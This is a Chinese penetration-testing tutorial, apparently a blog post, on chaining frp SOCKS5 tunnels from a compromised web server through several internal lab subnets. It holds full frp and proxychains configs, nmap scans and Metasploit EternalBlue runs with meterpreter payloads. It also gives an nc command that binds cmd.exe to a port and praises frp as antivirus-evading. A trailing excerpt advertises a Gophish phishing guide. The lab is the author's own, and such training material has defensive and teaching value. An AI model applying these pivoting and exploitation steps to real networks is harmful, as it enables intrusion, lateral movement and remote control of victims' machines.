前沿
上篇主要讲一些常见的隧道搭建方法,比较常见的lck端口转发,ew隧道,nc隧道都有复现,
这篇我会完整的复现我比较常用的frp隧道搭建,包括怎么从一级代理到二级代理,以及环境配置
技多不压身,学习渗透总要多学习一些方法,对于我们总是好的
若是文章有错误或者不足,请多多指正
frp隧道代理
简介
搭建frp服务器进行内网穿透,可用且推荐,可以达到不错的速度,且理论上可以开放任何想要的端口,可以实现的功能远不止远程桌面或者文件共享。
frp就是一个反向代理软件,它体积轻量但功能很强大,可以使处于内网或防火墙后的设备对外界提供服务 ,它支持HTTP、TCP、UDP等众多协议。我们今天仅讨论TCP和UDP相关的内容
frp知识
下载地址
https://github.com/fatedier/frp/releases
从一级代理到三级代理都完整写下每一个步骤
(使用frp的时候,必须分清楚是32位的还是64位的,win的和linux使用方法也不一样)
frp分为客户端和服务端,要严格分清楚
(linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行)
```
chmod +x frps //给执行权限
./frps -c frps.ini //举例子,要结合实际
```
配置文件扩展
按需求可以自己添加上
bind_addr = #绑定的ip,为本机
bind_port = #绑定的端口
dashboard_addr = #管理地址
dashboard_port = #管理端口
dashboard_user = #管理的用户名
dashboard_pwd = #管理用户的密码
token = #客户端服务端连接的密码
heartbeat_timeout = #心跳超时时间
max_pool_count = #最大同时连接数
frp优点
- 免杀
- 命令简单
(不管几级代理frp命令都是: 服务端的exe文件 -c 服务端配置文件)
- 逻辑简单
- frp只走socks5的代理
(socks5比较稳定,支持协议比socks4多 ,流量转发也快)
一级代理
一级代理比较简单,分别配置客户端以及服务端文件就行
环境
我使用45.x.x.97作为我的vps
另一个以己经在cs上线的web服务器来作为演示
演示
文件配置
靶机:
# frpc.ini
[common]
server_addr = 45.x.x.97
server_port = 11000
[http_proxy]
type = tcp
remote_port = 11666
plugin = socks5
VPS:
# frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 11000
开启顺序
先在VPS建立服务端
然后在靶机开启客户端
VPS
先编辑好frps.ini文件
上传,运行
(linux的系统需要先给执行权限,再frp执行命令。Windows的直接frps -c frps.ini就行)
```
chmod +x frps 给执行权限
./frps -c frps.ini
```
靶机
编辑好文件
cs上传文件
//1proxy是存放代理文件的文件夹名
一级代理成功
!
代理成功,使用proxy测试
ip:45.x.x.97 端口;11666
二级代理
二级代理环境和三级代理的环境需要自己配置,或者实战需要也可以
网络环境
```
Kali 192.168.1.53 桥接模式
vps 149.129.65.126
centos 192.168.1.63 桥接模式
192.168.111.63 NAT模式
Win7-1 192.168.111.57 NAT模式
192.168.88.57 仅主机模式
Win7-2 192.168.88.58 仅主机模式
```
演示
Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段
Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段。
Kali通过VPS999端口访问111然后通过8888端口访问88网段资源。攻击88.58
建立centos和VPS之间的socks5代理。
```
root@VPS:~/frp_0.33.0_linux_amd64# vim free.ini
[common]
bind_port = 7000
authentication_method = token
token = xuegod123456
root@VPS:~/frp_0.33.0_linux_amd64# ./frps -c free.ini
```
Centos frpc配置
```
[root@xuegod63 frp_0.33.0_linux_amd64]# vim frpc.ini
[common]
server_addr = 149.129.65.126
server_port = 7000
token = xuegod123456
[socks9999]
type = tcp
remote_port = 9999
plugin = socks5
use_encryption = true
use_compression = true
[root@xuegod63 frp_0.33.0_linux_amd64]# ./frpc -c frpc.ini
```
Kali配置代理链
```
(rootxuegod53)-[~]
vim /etc/proxychains4.conf
socks5 149.129.65.126 9999
```
可以访问111网段的所有资源。
```
proxychains4 nmap -Pn -sT -p 445 192.168.111.57
```
不能访问88网段所有的资源。我们前面可以通过centos直接访问88网段是因为我们基于centos的session配置了路由才可以访问目标。
```
proxychains4 nmap -Pn -sT -p 445 192.168.88.57
```
通过二级代理实现88网段的访问。Win7-1映射socks5代理到Centos。
```
[root@xuegod63 frp_0.33.0_linux_amd64]# vim f2.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
[root@xuegod63 frp_0.33.0_linux_amd64]# ./frps -c f2.ini
```
Win7-1
frpc.ini配置文件内容
```
[common]
server_addr = 192.168.111.63
server_port = 7000
[socks5_8888]
type = tcp
remote_port = 8888
plugin = socks5
use_encryption = true
use_compression = true
```
```
C:frp_0.33.0_windows_amd64frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini
```
配置代理链,这里写新增centos的ip地址可以写1网段或者111都可以。
```
(rootxuegod53)-[~]
vim /etc/proxychains4.conf
[ProxyList]
socks5 149.129.65.126 9999
socks5 192.168.111.63 8888
proxychains4 nmap -Pn -sT -p 445 192.168.88.57
```
proxychains4 nmap -Pn -sT -p 445 192.168.88.58
```
proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.88.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
```
```
meterpreter > ifconfig
```
总结:使用socks5代理建立二级代理无需设置路由即可访问整个网段资源。payload依旧建议使用Bind类型。
三级代理
做之前我们不要动前面的二级代理环境,退出MSF即可。
meterpreter > exit
msf6 exploit(windows/smb/ms17_010_eternalblue) > exit
网络环境
```
Kali 192.168.1.53 桥接模式
vps 149.129.65.126
Centos 192.168.1.63 桥接模式
192.168.111.63 NAT模式
Win7-1 192.168.111.57 NAT模式
192.168.88.57 仅主机模式
Win7-2 192.168.88.58 仅主机模式
新增 192.168.77.58 仅主机模式
```
通常来说我们应该加一台机器,但是机器开太多我们配置不够,所以直接在Win7-2添加一个新网段的网卡就可以了。
实现过程:
Centos 映射socks5代理到VPS:9999端口使Kali(攻击者)可访问内网111网段
Win7-1映射socks5代理到Centos:8888端口,使Kali(攻击者)可访问88网段。
Win7-2映射socks5代理到Win7-1: 7777端口,使Kali(攻击者)可访问77网段
添加一张虚拟网卡。
这边VMnet名称自动的直接确定即可。
修改网段为77
Win7-2添加网卡
选择VMnet2 刚刚创建的网络。
给我们新增的网卡配置IP地址。
Win7-1配置frps
frps.ini配置文件
[common]
bind_addr = 0.0.0.0
bind_port = 7000
启动frps
C:frp_0.33.0_windows_amd64frp_0.33.0_windows_amd64>frps.exe -c frps.ini
Win7-2配置frpc
frpc.ini配置文件
```
[common]
server_addr = 192.168.88.57
server_port = 7000
[socks5_7777]
type = tcp
remote_port = 7777
plugin = socks5
use_encryption = true
use_compression = true
```
启动frpc
C:frp_0.33.0_windows_amd64frp_0.33.0_windows_amd64>frpc.exe -c frpc.ini
配置代理链
```
(rootxuegod53)-[~]
vim /etc/proxychains4.conf
[ProxyList]
socks5 149.129.65.126 9999
socks5 192.168.111.63 8888
socks5 192.168.88.57 7777
```
扫描77.58的445
```
proxychains4 nmap -Pn -sT -p 445 192.168.77.58
```
```
proxychains msfdb run
msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.77.58
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
```
排错:
如果看到访问192.168.77.58 time out 直接重新run,因为攻击如果没有成功77.58就不会侦听4444端口,所以此时可以到Win7-2看一下4444端口是否开启。如果没有开启说明exp利用没有成功。
```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
```
meterpreter > ifconfig
注:通常frp内网穿透用nc做实验会比较方便一些,msf利用的话有一些不可控因素,比如exp是否执行成功。个别网络原因无法通过MSF验证的同学建议使用nc
kali中nc位置:/usr/share/windows-binaries/nc.exe
例如:
Win7-2
```
C:UsersAdministrator>nc -Ldp 443 -e cmd.exe
Kali
(rootxuegod53)-[~]
proxychains nc -v 192.168.77.59 443
```
C:UsersAdministrator>ipconfig
Linux中代理链使用proxychains
Windows中代理链使用Proxifier
```
```
Gophish钓鱼的SAO操作 0x01介绍 Gophish 是一个功能强大的开源网络钓鱼框架。 0x02 安装 Github 地址 https://github.com/gophish/gophish/releases/tag/v0.11.0 windows…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论